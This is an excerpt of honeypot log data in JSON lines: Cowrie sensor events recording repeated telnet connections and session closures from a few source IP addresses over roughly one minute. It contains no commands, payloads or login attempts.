{"eventid":"cowrie.session.closed","duration":0.77703857421875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:31.857542Z","src_ip":"64.227.9.242","session":"b74b85126216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.544318914413452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:32.041540Z","src_ip":"104.167.8.156","session":"1a8318e05214","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47416,"dst_ip":"10.17.0.5","dst_port":23,"session":"79636f3d9b6c","protocol":"telnet","message":"New connection: 104.167.8.156:47416 (10.17.0.5:23) [session: 79636f3d9b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:32.454930Z"}
{"eventid":"cowrie.session.closed","duration":30.952303171157837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:33.207373Z","src_ip":"104.167.8.156","session":"c9b69878d61c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81342577934265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:33.263024Z","src_ip":"104.167.8.156","session":"f3102b41d451","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.475905418395996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:33.603019Z","src_ip":"104.167.8.156","session":"e6f1cb525bfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48204,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5db8b4742d9","protocol":"telnet","message":"New connection: 104.167.8.156:48204 (10.17.0.5:23) [session: d5db8b4742d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:34.611028Z"}
{"eventid":"cowrie.session.closed","duration":31.61981773376465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:34.792053Z","src_ip":"104.167.8.156","session":"d429686c49c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58284,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1b91fd3eb76","protocol":"telnet","message":"New connection: 104.167.8.156:58284 (10.17.0.5:23) [session: f1b91fd3eb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:34.896619Z"}
{"eventid":"cowrie.session.closed","duration":31.378601789474487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:36.701540Z","src_ip":"104.167.8.156","session":"1ca79a09956d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":44232,"dst_ip":"159.203.135.109","dst_port":23,"session":"02b347af7851","protocol":"telnet","message":"New connection: 64.227.9.242:44232 (159.203.135.109:23) [session: 02b347af7851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:37.297599Z"}
{"eventid":"cowrie.session.closed","duration":33.84348964691162,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:38.005096Z","src_ip":"188.208.141.113","session":"f4ff002acd1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.273150205612183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:38.388106Z","src_ip":"104.167.8.156","session":"c08449c55164","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181699752807617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:40.195645Z","src_ip":"104.167.8.156","session":"6573d80158c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42308,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4664b0b488d","protocol":"telnet","message":"New connection: 188.208.141.113:42308 (10.17.0.5:23) [session: f4664b0b488d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:41.760737Z"}
{"eventid":"cowrie.session.closed","duration":31.10693073272705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:41.917931Z","src_ip":"104.167.8.156","session":"4d1c7e3a5c0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42310,"dst_ip":"10.17.0.5","dst_port":23,"session":"43c4b9885586","protocol":"telnet","message":"New connection: 188.208.141.113:42310 (10.17.0.5:23) [session: 43c4b9885586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:42.099061Z"}
{"eventid":"cowrie.session.closed","duration":120.00556230545044,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:44.748384Z","src_ip":"98.70.41.28","session":"8a5a8126a2e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":56674,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aa119170fbb","protocol":"telnet","message":"New connection: 64.227.9.242:56674 (159.203.135.109:23) [session: 1aa119170fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:46.025362Z"}
{"eventid":"cowrie.session.closed","duration":31.54776668548584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:46.575602Z","src_ip":"98.70.41.28","session":"d7f14d536bcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42322,"dst_ip":"10.17.0.5","dst_port":23,"session":"32b83c522701","protocol":"telnet","message":"New connection: 188.208.141.113:42322 (10.17.0.5:23) [session: 32b83c522701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:46.686333Z"}
{"eventid":"cowrie.session.closed","duration":31.582268953323364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:46.711654Z","src_ip":"104.167.8.156","session":"6a3ecd8f8ceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42334,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdc7de0a41f7","protocol":"telnet","message":"New connection: 188.208.141.113:42334 (10.17.0.5:23) [session: bdc7de0a41f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:46.911091Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":57550,"dst_ip":"159.203.135.109","dst_port":23,"session":"4758862b2e98","protocol":"telnet","message":"New connection: 64.227.9.242:57550 (159.203.135.109:23) [session: 4758862b2e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:47.936490Z"}
{"eventid":"cowrie.session.closed","duration":31.24160361289978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:48.769827Z","src_ip":"104.167.8.156","session":"20b17cfc8449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5310275554657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:48.933141Z","src_ip":"104.167.8.156","session":"c1ce8f801112","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.522250652313232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:48.998600Z","src_ip":"104.167.8.156","session":"cac78e0fcb15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.819256544113159,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:49.505462Z","src_ip":"188.208.141.113","session":"32b83c522701","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31999659538269,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:50.560081Z","src_ip":"104.167.8.156","session":"02fe570b08aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.44804072380066,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:52.400626Z","src_ip":"188.208.141.113","session":"0d1049daec5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.532906532287598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:53.025360Z","src_ip":"104.167.8.156","session":"93adaf1088c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.633923530578613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:53.063992Z","src_ip":"104.167.8.156","session":"44dcef017b9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58694,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d744d5125cb","protocol":"telnet","message":"New connection: 188.208.141.113:58694 (10.17.0.5:23) [session: 3d744d5125cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:53.520797Z"}
{"eventid":"cowrie.session.closed","duration":31.359505653381348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:54.358161Z","src_ip":"104.167.8.156","session":"2afa3d33bbc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.209423780441284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:54.573402Z","src_ip":"104.167.8.156","session":"c8a334d6a11c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.720538854598999,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:56.241225Z","src_ip":"188.208.141.113","session":"3d744d5125cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5499587059021,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:56.806295Z","src_ip":"104.167.8.156","session":"ff00d8c164e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":50242,"dst_ip":"10.17.0.5","dst_port":23,"session":"339531920112","protocol":"telnet","message":"New connection: 43.225.52.5:50242 (10.17.0.5:23) [session: 339531920112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:57.961429Z"}
{"eventid":"cowrie.session.closed","duration":31.25432801246643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:58.281969Z","src_ip":"98.70.41.28","session":"f222dd4fef4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.156614542007446,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:58.411223Z","src_ip":"188.208.141.113","session":"ae306be17c19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.89695596694946,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:00.744562Z","src_ip":"188.208.141.113","session":"72ae2e02f11b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39027166366577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:00.873084Z","src_ip":"104.167.8.156","session":"995d70cc105c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42385172843933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:01.051672Z","src_ip":"98.70.41.28","session":"1e52afcd5ba8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":51010,"dst_ip":"10.17.0.5","dst_port":23,"session":"56b903282d18","protocol":"telnet","message":"New connection: 43.225.52.5:51010 (10.17.0.5:23) [session: 56b903282d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:02.281142Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":50712,"dst_ip":"10.17.0.5","dst_port":23,"session":"e68ad1ffcae8","protocol":"telnet","message":"New connection: 43.225.52.5:50712 (10.17.0.5:23) [session: e68ad1ffcae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:02.869636Z"}
{"eventid":"cowrie.session.closed","duration":31.45864200592041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:03.913458Z","src_ip":"104.167.8.156","session":"79636f3d9b6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59838,"dst_ip":"10.17.0.5","dst_port":23,"session":"494792c341ee","protocol":"telnet","message":"New connection: 104.167.8.156:59838 (10.17.0.5:23) [session: 494792c341ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:04.122078Z"}
{"eventid":"cowrie.session.closed","duration":30.444398164749146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:05.340909Z","src_ip":"104.167.8.156","session":"f1b91fd3eb76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.856699466705322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:05.467637Z","src_ip":"104.167.8.156","session":"d5db8b4742d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":50912,"dst_ip":"159.203.135.109","dst_port":23,"session":"3665c73d06d2","protocol":"telnet","message":"New connection: 64.227.9.242:50912 (159.203.135.109:23) [session: 3665c73d06d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:06.739070Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":52312,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba6223fd3276","protocol":"telnet","message":"New connection: 43.225.52.5:52312 (10.17.0.5:23) [session: ba6223fd3276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:07.482224Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":52472,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcf9c7d100df","protocol":"telnet","message":"New connection: 43.225.52.5:52472 (10.17.0.5:23) [session: fcf9c7d100df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:07.562168Z"}
{"eventid":"cowrie.session.closed","duration":54.84741139411926,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:10.418938Z","src_ip":"188.208.141.113","session":"7c357a5a5dc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.40215563774109,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:10.498918Z","src_ip":"188.208.141.113","session":"035201f26398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":53024,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dd6c834f697","protocol":"telnet","message":"New connection: 43.225.52.5:53024 (10.17.0.5:23) [session: 7dd6c834f697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:11.266963Z"}
{"eventid":"cowrie.session.closed","duration":42.26614451408386,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:11.307305Z","src_ip":"188.208.141.113","session":"258f37470ed0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":55764,"dst_ip":"159.203.135.109","dst_port":23,"session":"a52dbe11619b","protocol":"telnet","message":"New connection: 64.227.9.242:55764 (159.203.135.109:23) [session: a52dbe11619b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:11.800901Z"}
{"eventid":"cowrie.session.closed","duration":35.76915264129639,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:13.066654Z","src_ip":"64.227.9.242","session":"02b347af7851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56734,"dst_ip":"10.17.0.5","dst_port":23,"session":"60a62d15e179","protocol":"telnet","message":"New connection: 188.208.141.113:56734 (10.17.0.5:23) [session: 60a62d15e179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:19.571480Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55614,"dst_ip":"10.17.0.5","dst_port":23,"session":"c66ad25e207f","protocol":"telnet","message":"New connection: 104.167.8.156:55614 (10.17.0.5:23) [session: c66ad25e207f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:19.618530Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":54850,"dst_ip":"10.17.0.5","dst_port":23,"session":"09b5c60f3638","protocol":"telnet","message":"New connection: 43.225.52.5:54850 (10.17.0.5:23) [session: 09b5c60f3638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:20.193751Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":55296,"dst_ip":"10.17.0.5","dst_port":23,"session":"0680e0e77edd","protocol":"telnet","message":"New connection: 43.225.52.5:55296 (10.17.0.5:23) [session: 0680e0e77edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:20.355974Z"}
{"eventid":"cowrie.session.closed","duration":34.88252663612366,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:20.907816Z","src_ip":"64.227.9.242","session":"1aa119170fbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00153350830078,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:23.101022Z","src_ip":"98.70.41.28","session":"4855b1bee930","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":56026,"dst_ip":"10.17.0.5","dst_port":23,"session":"28b7f3df37f6","protocol":"telnet","message":"New connection: 43.225.52.5:56026 (10.17.0.5:23) [session: 28b7f3df37f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:23.343634Z"}
{"eventid":"cowrie.session.closed","duration":36.07175040245056,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:24.008085Z","src_ip":"64.227.9.242","session":"4758862b2e98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.444981336593628,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:26.016341Z","src_ip":"188.208.141.113","session":"60a62d15e179","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.82695174217224,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:26.737868Z","src_ip":"188.208.141.113","session":"bdc7de0a41f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":56186,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b76930b7311","protocol":"telnet","message":"New connection: 43.225.52.5:56186 (10.17.0.5:23) [session: 2b76930b7311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:27.051608Z"}
{"eventid":"cowrie.session.closed","duration":120.0010597705841,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:27.289154Z","src_ip":"98.70.41.28","session":"aba54b0a3036","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":56864,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3accbc84017","protocol":"telnet","message":"New connection: 43.225.52.5:56864 (10.17.0.5:23) [session: e3accbc84017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:27.382978Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49272,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dea0bbe24fa","protocol":"telnet","message":"New connection: 188.208.141.113:49272 (10.17.0.5:23) [session: 3dea0bbe24fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:27.406600Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49280,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4830819d549","protocol":"telnet","message":"New connection: 188.208.141.113:49280 (10.17.0.5:23) [session: d4830819d549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:27.509205Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58380,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ec48b734e7d","protocol":"telnet","message":"New connection: 104.167.8.156:58380 (10.17.0.5:23) [session: 8ec48b734e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:28.187883Z"}
{"eventid":"cowrie.session.closed","duration":47.15922260284424,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:28.919832Z","src_ip":"188.208.141.113","session":"f4664b0b488d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.598496675491333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:29.559812Z","src_ip":"43.225.52.5","session":"339531920112","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49282,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f82ffa6bb4","protocol":"telnet","message":"New connection: 188.208.141.113:49282 (10.17.0.5:23) [session: c0f82ffa6bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:30.164355Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":57202,"dst_ip":"10.17.0.5","dst_port":23,"session":"83bf93c09da1","protocol":"telnet","message":"New connection: 43.225.52.5:57202 (10.17.0.5:23) [session: 83bf93c09da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:30.254891Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":57678,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd9bc731b8d2","protocol":"telnet","message":"New connection: 43.225.52.5:57678 (10.17.0.5:23) [session: cd9bc731b8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:31.254810Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":57680,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba3da8ad3685","protocol":"telnet","message":"New connection: 43.225.52.5:57680 (10.17.0.5:23) [session: ba3da8ad3685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:31.318489Z"}
{"eventid":"cowrie.session.closed","duration":31.05556321144104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:33.336570Z","src_ip":"43.225.52.5","session":"56b903282d18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.02358865737915,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:33.430066Z","src_ip":"188.208.141.113","session":"3dea0bbe24fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33326292037964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:34.202763Z","src_ip":"43.225.52.5","session":"e68ad1ffcae8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51290,"dst_ip":"10.17.0.5","dst_port":23,"session":"cae177020544","protocol":"telnet","message":"New connection: 188.208.141.113:51290 (10.17.0.5:23) [session: cae177020544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:45:34.666770Z"}
